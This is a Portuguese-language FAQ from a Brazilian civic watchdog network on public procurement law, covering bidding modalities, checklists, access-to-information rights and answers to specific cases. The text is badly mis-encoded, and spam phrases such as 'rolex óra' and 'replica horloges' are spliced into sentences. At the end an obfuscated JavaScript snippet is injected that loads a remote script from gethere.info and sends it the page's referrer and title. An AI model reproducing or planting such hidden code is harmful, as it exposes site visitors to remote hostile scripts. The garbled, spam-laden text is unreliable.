Perguntas e Repostas

Perguntas e Respostas sobre LicitaA�A�es a�� OSB

 

O que A� licitaA�A?o?

LicitaA�A?o A� procedimento administrativo formal em que a AdministraA�A?o Publica convoca, por meio de condiA�A�es estabelecidas em ato prA?prio (edital ou convite), empresas interessadas na apresentaA�A?o de propostas para o oferecimento de bens e serviA�os.

Objetiva garantir a observA?ncia do principio constitucional da isonomia e a selecionar a proposta mais vantajosa para a AdministraA�A?o, de maneira a assegurar oportunidade igual cv writing a todos os interessados e a possibilitar o comparecimento ao certame do maior numero possA�vel de concorrentes.

 

Porque fazer licitaA�A?o?

A ConstituiA�A?o Federal, fundamentou em seu art. 37, inciso XXI, a obrigatoriedade do procedimento licitatA?rio nas contrataA�A�es da administraA�A?o pA?blica, e a Lei 8.666/93, art. 2A?, regulamento os procedimentos, a fim de valer a obrigatoriedade dos mesmos.

Quais leis rolex óra regulamentam?

As licitaA�A�es sA?o regulamentadas pela Lei 8.666 de 21 de junho de 1993, tambA�m chamada Lei Geral das LicitaA�A�es, que normatiza as concorrA?ncias, tomadas de preA�os, convites, leilA?o e concursos; os pregA�es foram formalizados pela lei 10.520 de 17 de julho de 2002.

 

A�Quem precisa fazer licitaA�A?o?

Todos os A?rgA?os da AdministraA�A?o PA?blica direta, os fundos especiais, as autarquias, as fundaA�A�es pA?blicas, as empresas pA?blicas, as sociedades de economia mista e demais entidades controladas direta ou indiretamente pela UniA?o, Estados, Distrito Federal e MunicA�pios estA?o obrigados A� licitaA�A?o.

 

Quem pode vender para o setor pA?blico?

Qualquer empresa que atenda os requisitos do edital pode contratar com a administraA�A?o pA?blica, sA? A� necessA?rio estar em dia com os documentos fiscais, e os demais solicitados no edital pertinente ao seu ramo de atividade.

 

O que sA?o replica horloges modalidades?

Modalidades sA?o formas utilizadas para a realizaA�A?o da compra pela administraA�A?o pA?blica. A� a forma como o procedimento licitatA?rio serA? conduzido. Cada modalidade tem suas regas especA�ficas.

 

Como cada modalidade A� escolhida?

Dois critA�rios sA?o utilizados na definiA�A?o da modalidade de licitaA�A?o, um quantitativo e outro qualitativo. De acordo com o critA�rio qualitativo, a modalidade de licitaA�A?o deverA? ser definida em funA�A?o das caracterA�sticas do objeto licitado, independentemente do valor estimado para a contrataA�A?o. JA? pelo critA�rio quantitativo, a modalidade serA? definida em funA�A?o do valor estimado para a contrataA�A?o, se nA?o houver dispositivo obrigando a utilizaA�A?o do critA�rio qualitativo.

Um exemplo de uso do critA�rio qualitativo sA?o as licitaA�A�es que visem promover concessA�es

de direito real de uso, nas quais A� obrigatA?rio o uso da modalidade concorrA?ncia.

JA? um exemplo do uso do critA�rio quantitativo A� a utilizaA�A?o da modalidade convite para obras e serviA�os de engenharia de atA� R$ 150 mil.

De acordo com o art. 23 da Lei nA? 8.666/1993, assim sA?o definidos os valores limites para

cada modalidade de licitaA�A?o:

  • para obras e serviA�os de engenharia:

a) convite a�� atA� R$ 150.000,00 (cento e cinquenta mil reais);

b) tomada de preA�os a�� atA� R$ 1.500.000,00 (um milhA?o e quinhentos mil reais);

c) concorrA?ncia a�� acima de R$ 1.500.000,00 (um milhA?o e quinhentos mil reais);

  • para compras e serviA�os nA?o referidos acima:

a) convite a�� atA� R$ 80.000,00 (oitenta mil reais);

b) tomada de preA�os a�� atA� R$ 650.000,00 (seiscentos e cinquenta mil reais);

c) concorrA?ncia a�� acima de R$ 650.000,00 (seiscentos e cinquenta mil reais).

Nos casos em que couber convite, a AdministraA�A?o poderA? utilizar a tomada de preA�os e, em qualquer caso, a concorrA?ncia.

 

O que sA?o tipos de licitaA�A?o?

SA?o maneiras como uma licitaA�A?o serA? avaliada, podendo ser por menor preA�o, melhor tA�cnica, tA�cnica e preA�o e maior lance ou oferta. Nenhuma outra forma de avaliar uma licitaA�A?o A� vA?lida, uma vez que a Lei nA? 8.666/1993 proA�be, por forA�a do seu art. 45, A� 5A?, a criaA�A?o ou utilizaA�A?o de outros tipos.

 

O que o OS deve fazer pra acompanhar uma licitaA�A?o?

O primeiro passo A� ter acesso ao edital, as maneiras de captaA�A?o sA?o diversas, podendo ser pelo site do A?rgA?o, no mural da prefeitura, no setor de licitaA�A�es, no site onde serA? realizada a disputa, quando eletrA?nico, nos diA?rios oficiais e jornais de grande circulaA�A?o no municA�pio.

Tendo o edital em mA?os, o OS deve realizar a anA?lise do mesmo, esta, consiste em verificar se as exigA?ncias presentes nas Leis 8666/93 e 10520/02, estA?o no edital.

Feita a anA?lise o OS comeA�a a agir, seja disparando os editais que estA?o de acordo com a legislaA�A?o, para os fornecedores cadastrados, ou enviando ofA�cios ao gestor responsA?vel solicitando esclarecimentos, informando incorreA�A�es e sugerindo alteraA�A�es a serem feitas.

Para acessar os check-lists clique aqui.

 

Por que cada modalidade tem um check-list?

A Lei 8.666/93 prevA? diferenA�as legais entre as modalidades, como o prazo para publicaA�A?o do aviso do edital, os valores a serem contratados, as formas de apuraA�A?o das propostas, entre outros, por este motivo cada uma tem um embasamento legal, o que torna cada modalidade A?nica, assim como seu check-list.

 

Como utilizar os check-lists ?

Um check-list A� o acompanhamento passo a passo do edital, a verificaA�A?o se o mesmo estA? de acordo com o expresso na legislaA�A?o. Para isso o edital A� lido em conjunto com o check-list para que sejam assinaladas as questA�es relativas A� legislaA�A?o, que aparecem ou nA?o no edital.

 

O check-list menciona leis ao lado dos questionamentos, por quA??

Estes documentos foram elaborados para contribuir com o dia a dia dos ObservatA?rios, tanto na checagem do edital, como na elaboraA�A?o de ofA�cios que por ventura serA?o enviados A� AdministraA�A?o PA?blica, para solicitaA�A?o de esclarecimentos.

 

Como deve ser feito o acompanhamento da sessA?o pA?blica?

O ideal A� que se tenha o edital em mA?os, tomando nota dos licitantes, com os dados necessA?rios para cadastro no SIM (CNPJ e e-mail). Neste momento pode-se conferir se os licitantes apresentaram toda a documentaA�A?o solicitado no edital.

* O OS Mandaguari enviou um check-list que eles utilizam para acompanhar as sessA�es, que vamos deixarA�disponA�velA�como sugestA?o, e nA?s do OSB sugerimos que vocA?s atualizem o check-list de acordo com os editais que vA?o acontecer, para terem em mA?os durante a sessA?o os documentos exigidos no edital, de forma mais simples.

 

Como um OS deve se pronunciar com embasamento legal?

Na qualidade de AssociaA�A?o Representativa da Sociedade Civil, o OS se qualifica em ofA�cios com base na ConstituiA�A?o Federal de 1988, artigo 5A?, incisos XXXIII e XXXIV; que especifica:

Art. 5A? Todos sA?o iguais perante a lei, sem distinA�A?o de qualquer natureza, garantindo-se aos brasileiros e aos estrangeiros residentes no PaA�s a inviolabilidade do direito A� vida, A� liberdade, A� igualdade, A� seguranA�a e A� propriedade, nos termos seguintes: (a��) A�A�A�A�A�A�A�A�A�A�A�

XXXIII a�� todos tA?m direito a receber dos A?rgA?os pA?blicos informaA�A�es de seu interesse particular, ou de interesse coletivo ou geral, que serA?o prestadas no prazo da lei, sob pena de responsabilidade, ressalvadas aquelas cujo sigilo seja imprescindA�vel A� seguranA�a da sociedade e do Estado;A�(Regulamento)A�A�A�A�A�(Vide Lei nA? 12.527, de 2011)

XXXIV a�� sA?o a todos assegurados, independentemente do pagamento de taxas:

a) o direito de petiA�A?o aos Poderes PA?blicos em defesa de direitos ou contra ilegalidade ou abuso de poder;

b) a obtenA�A?o de certidA�es em repartiA�A�es pA?blicas, para defesa de direitos e esclarecimento de situaA�A�es de interesse pessoal;

AlA�m de utilizar-se dos benefA�cios da Lei de Acesso A� InformaA�A?o, nA? 12.527/2011, artigos 7A?, 10 e 11, subscritos abaixo:

Art. 7oA� O acesso A� informaA�A?o de que trata esta Lei compreende, entre outros, os direitos de obter:A�

I a�� orientaA�A?o sobre os procedimentos para a consecuA�A?o de acesso, bem como sobre o local onde poderA? ser encontrada ou obtida a informaA�A?o almejada;A�

II a�� informaA�A?o contida em registros ou documentos, produzidos ou acumulados por seus A?rgA?os ou entidades, recolhidos ou nA?o a arquivos pA?blicos;A�

III a�� informaA�A?o produzida ou custodiada por pessoa fA�sica ou entidade privada decorrente de qualquer vA�nculo com seus A?rgA?os ou entidades, mesmo que esse vA�nculo jA? tenha cessado;A�

IV a�� informaA�A?o primA?ria, A�ntegra, autA?ntica e atualizada;A�

V a�� informaA�A?o sobre atividades exercidas pelos A?rgA?os e entidades, inclusive as relativas A� sua polA�tica, organizaA�A?o e serviA�os;A�

VI a�� informaA�A?o pertinente A� administraA�A?o do patrimA?nio pA?blico, utilizaA�A?o de recursos pA?blicos, licitaA�A?o, contratos administrativos; eA�

VII a�� informaA�A?o relativa:A�

a) A� implementaA�A?o, acompanhamento e resultados dos programas, projetos e aA�A�es dos A?rgA?os e entidades pA?blicas, bem como metas e indicadores propostos;A�

b) ao resultado de inspeA�A�es, auditorias, prestaA�A�es e tomadas de contas realizadas pelos A?rgA?os de controle interno e externo, incluindo prestaA�A�es de contas relativas a exercA�cios anteriores.A�

(a��)Art. 10.A� Qualquer interessado poderA? apresentar pedido de acesso a informaA�A�es aos A?rgA?os e entidades referidos no art. 1oA�desta Lei, por qualquer meio legA�timo, devendo o pedido conter a identificaA�A?o do requerente e a especificaA�A?o da informaA�A?o requerida.A�

A� 1oA� Para o acesso a informaA�A�es de interesse pA?blico, a identificaA�A?o do requerente nA?o pode conter exigA?ncias que inviabilizem a solicitaA�A?o.A�

A� 2oA� Os A?rgA?os e entidades do poder pA?blico devem viabilizar alternativa de encaminhamento de pedidos de acesso por meio de seus sA�tios oficiais na internet.A�

A� 3oA� SA?o vedadas quaisquer exigA?ncias relativas aos motivos determinantes da solicitaA�A?o de informaA�A�es de interesse pA?blico.A�

Art. 11.A� O A?rgA?o ou entidade pA?blica deverA? autorizar ou conceder o acesso imediato A� informaA�A?o disponA�vel.A�

 

Quais os procedimentos estabelecidos pela Rede OSB para acompanhamento de licitaA�A�es?

O primeiro passo A� a analise dos editais, que serA? realizada com o check-list, A� possA�vel ainda realizar uma verificaA�A?o detalhada de custos, quando hA? desconfianA�a de valores divergentes de mercado; o prA?ximo passo vai variar de acordo com o resultado da mesma.

Se o edital estA? em conformidade com a legislaA�A?o o OS passa ao cadastro do mesmo no SIM para poder enviar aos fornecedores cadastrados por ramos de atividade, o aviso da licitaA�A?o. EntA?o no dia da abertura da licitaA�A?o o OS acompanha os procedimentos, sejam eles eletrA?nicos ou pessoalmente. Esse acompanhamento se dA? verificando as ocorrA?ncias da sessA?o pA?blica, registrando os participantes e os valores apresentados.

Independente da forma de acontecimento, presencial ou eletrA?nica, o OSB determina que caso o OS encontre alguma irregularidade, a mesma seja anotada e levada para o OS para ser discutida com todos para entA?o tomar uma atitude.

O outro foco para o caso dos editais estarem em desacordo com a legislaA�A?o A� remeter ofA�cios aos gestores responsA?veis, veja noA�Manual de LicitaA�A�es do OSBA�do OSB para quem e como devem ser enviados os ofA�cios.

 

Respostas casos apresentados no 5A? ENOS

INEXIGIBILIDADE

COMPRAS DE SEMA?FOROS a�� A prefeitura alegou que os equipamentos sA?o exclusivos, quando o ObservatA?rio promoveu uma AA�A?o Civil PA?blica.

Uma inexigibilidade deve ser baseada no fato de existir apenas um fornecedor, e nA?o apenas um A?nico fabricante. Portanto se forem semA?foros que comprovadamente se apliquem A� realidade do municA�pio de uma forma que outro nA?o poderia fazer, estaria correto, mas deve ser verificado se realmente A� um fabricante A?nico e a finalidade no municA�pio.

 

CONTRATAA�A?O DE SHOWS a�� MediaA�A?o de empresas ao invA�s de contrato direto entre municA�pio e artista. A mediaA�A?o configura indA�cio de irregularidade?

As contrataA�A�es artA�sticas, geralmente sA?o mediadas por representantes, uma vez que sA?o definidas regiA�es para fins financeiros tambA�m, nA?o se pode cobrar X de um municA�pio e XXX do o municA�pio vizinho, assim como o valor pode variar para o mesmo artista numa capital, como o Rio de Janeiro e uma cidade do interior, como Carazinho/RS.

 

CRITA�RIOS PARA INEXIGIBILIDADE a�� Existe um critA�rio a ser utilizado para a contrataA�A?o de determinada empresa, quando hA? inexigibilidade de licitaA�A?o?

O critA�rio a ser utilizado A� a impossibilidade de concorrA?ncia, disputa, proposta. SA? um fornecedor/fabricante se encaixa no critA�rio que serA? adquirido.

 

MAIOR DESCONTO, SOBRE A TABELA a�� Podem ser realizados pregA�es atravA�s do julgamento MAIOR DESCONTO, ou MAIOR PERCENTUAL DE DESCONTO SOBRE A TABELA XXX?

Maior desconto, A� entendido da mesma forma que o melhor preA�o, pois quanto maior o desconto melhor serA? o preA�o.

 

AGASNCIAS DE PUBLICIDADE a�� Como funcionam as licitaA�A�es para contrataA�A?o de publicidade? Como deve ser a formaA�A?o da subcomissA?o (de tA�cnicos) que farA? a avaliaA�A?o subjetiva da a�?artea�? apresentada pela empresa vencedora nas licitaA�A�es de contrataA�A?o de agA?ncias de publicidade?

As contrataA�A�es de publicidade devem obedecer a Lei 12.232 de 29 de abril de 2010, que tem normas diversas da 8.666/93 comum para as demais licitaA�A�es. A avaliaA�A?o tA�cnica deve ocorrer de acordo com o determinado em lei, com 3 avaliadores, sendo um deles sem vinculo com o comprador.

 

PARENTESCO a�� A sogra, cunhado, primo, avA?, de um secretario de governo que tem uma empresa com ramos compatA�veis ao objeto,A� pode participar de uma licitaA�A?o?

A resposta para esta pergunta varia de acordo com a Lei orgA?nica do municA�pio, uma vez que cada municA�pio tem seus pormenores. Exemplo, existem municA�pios pequenos com poucos habitantes, onde todos sA?o parentes de alguma forma e que se nA?o puderem participar de licitaA�A�es, como serA?o feitas as aquisiA�A�es da prefeitura?

 

LEI COMPLEMENTAR NA? 123/2006 ART. 47 a�� HA? uma tendA?ncia de que os Decretos de regulamentaA�A?o da LC 123/06 em A?mbito municipal restrinjam a participaA�A?o de empresas apenas para o comA�rcio local nas licitaA�A�es exclusivas para MPE. Principalmente em casos que existam pelo menos 3 empresas que possam fornecer o objeto no municA�pio. Isso A� correto?

NA?o A� permitido que hajam restriA�A�es para empresas locais, seja ela uma grande empresa ou uma micro ou pequena empresa. O incentivo A�s ME existe, mas nA?o se pode exigir que sejam locais.

 

ACA�RDA?OS TCU X LEGISLAA�A?O a�� Os acA?rdA?os dos Tribunais de Conta devem ser considerados a�?superioresa�� A�s legislaA�A�es pertinentes A�s licitaA�A�es?

Os acA?rdA?os sA?o entendimentos da Lei, pelo TCU, nA?o sA?o superiores A� lei, porA�m como A� o TCU quem julga as irregularidades, caso haja uma divergA?ncia com o acA?rdA?o haverA? um problema.

 

LOCAA�A?O DE IMA�VEIS a�� A prefeitura estA? alugando muitos imA?veis acima do preA�o de mercado, notadamente de pessoas que apoiaram a eleiA�A?o do prefeito, com dispensa de licitaA�A?o. HA? algo que possamos fazer? O que diz a lei?

A� necessA?rio que se entenda neste aspecto que, quando a prefeitura precisa de um imA?vel, ela precisa parametrizar, qual serA? a finalidade dele, se for uma escola, precisa ter a�?xa�? salas para aula, a�?xa�? salas com instalaA�A�es de rede para computadores e internet, para laboratA?rios de informA?tica, tantos metros para instalaA�A?o de quadra poliesportiva e assim por diante, portanto na maioria das vezes a prefeitura escolhe um imA?vel, para a locaA�A?o e tem que especificar tecnicamente o motivo de ser aquele, mencionando todas as necessidades que devem ser atendidas (local, estacionamento, nA?mero de cA?modos, etc.).

A�

Respostas do Dr. Felipe BoselliA�A�

Quais documentos obrigatoriamente devem constar no processo? O que deve ser considerado, para abertura do processo licitatA?rio e para elaboraA�A?o da Fase Interna da licitaA�A?o?

Os documentos que devem obrigatoriamente constar no processo estA?o no artigo 38 da Lei nA? 8.666/93.

A AdministraA�A?o A� obrigada a dar acesso aos documentos da fase interna da licitaA�A?o a um ObservatA?rio?

Independentemente da fase em que se encontra o processo, os documentos sA?o pA?blicos e podem ser acessados por qualquer pessoa, salvo justificativa para o seu sigilo.

Uma autarquia municipal, que possui procuradoria jurA�dica prA?pria, pode contratar por Carta Convite um escritA?rio de advocacia para acompanhar aA�A�es judiciais sem notA?ria especialidade? O ObservatA?rio se manifestou e o MP ficou reticente e arquivou nossa representaA�A?o.

A contrataA�A?o de serviA�os advocatA�cios por A?rgA?o pA?blico A� motivo de larga discussA?o. Primeiramente, hA? que se entender se existe a necessidade de realizar essa contrataA�A?o, considerando a possibilidade de concurso pA?blico para prover, efetivamente, o cargo. Assumindo essa possibilidade como positiva, a forma de contrataA�A?o tambA�m A� polA?mica. Para a OAB, a contrataA�A?o deveria ser direta, sem licitaA�A?o. Para o TCU, deveria haver licitaA�A?o em casos que nA?o sA?o especiais e, nesses casos, nA?o cabe a necessidade de notA?ria especializaA�A?o. De qualquer forma, A� importante analisar o caso concreto para ter um conhecimento mais apurado do caso.

Quatro empresas de um mesmo grupo participaram da mesma licitaA�A?o. Alegamos quebra de sigilo das propostas, pois todas tA?m o mesmo endereA�o. Defenderam-se alegando que participaram em itens diferentes. Mais uma questA?o, duas empresas do mesmo grupo com um A?nico representante na mesma licitaA�A?o, pode?

Em princA�pio, quando as empresas participam de itens ou lotes diferentes nA?o hA? quebra no sigilo das propostas.

Quais sA?o as condiA�A�es legais de validade dos contratos de concessA?o para a coleta do lixo urbano?

As condiA�A�es de validade dos contratos de concessA?o sA?o aquelas previstas na Lei nA? 8.987/95, combinadas com as condiA�A�es da Lei nA? 8.666/93.

Nas passagens aA�reas hA? muito cA?digos e nA?meros, de difA�cil entendimento para o leigo. Os preA�os sA?o, invariavelmente, superfaturados, pois, segundo pessoas dessa A?rea, este A� um problema nacional. As empresas agem com mA? fA�, estabelecendo as tarifas mais altas. De SA?o Paulo para ItajaA� existem mais de 30 tarifas, que variam muito. Como verificar a realidade dos preA�os ofertados e/ou estimados?

Sem dA?vida hA? uma dificuldade de se verificar a realidade dos preA�os ofertados. Uma soluA�A?o possA�vel A� a comparaA�A?o com os preA�os praticados pelas companhias na internet.

Como funciona a aplicaA�A?o do CAP (Coeficiente de AdequaA�A?o de PreA�os) nas compras de medicamentos?

O CAP a�� Coeficiente de AdequaA�A?o de PreA�os A� um desconto mA�nimo obrigatA?rio que deve ser observado pelo fornecedor nos casos estipulados pela CA?mara de Medicamentos a�� CMED.

Como comprovar os indA�cios de cartel ou conluio?

Os indA�cios de conluio ou cartel podem ser demonstrados de inA?meras formas, a depender do caso. SA?o exemplos: preA�os iguais ou semelhantes; mesmos sA?cios ou familiares; mesmo endereA�o; texto das propostas parecidos; combinaA�A?o de lances; ausA?ncia de recursos e/ou contestaA�A�es; dentre outros.

Numa licitaA�A?o de registro de preA�o no ano de 2014, foi efetuado registro de preA�o idA?ntico ao que ocorreu no ano de 2013, sendo o mesmo uma copia fiel do anterior, registrando preA�os de peA�as com o dobro do valor de mercado. Qual procedimento?

Deve ser feita uma anA?lise detalhada do caso, para verificar se houve e qual foi a ilegalidade. As empresas precisam justificar os motivos que levaram a uma subida tA?o acentuada dos preA�os praticados.var _0x31f1=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

ObservatórioSocial de Cuiabá

O OSB é uma instituição não governamental, sem fins lucrativos, disseminadora de uma metodologia padronizada para a criação e atuação de uma rede de organizações democráticas e apartidárias do terceiro setor. A Rede OSB é formada por voluntários engajados na causa da justiça social e contribui para a melhoria da gestão pública.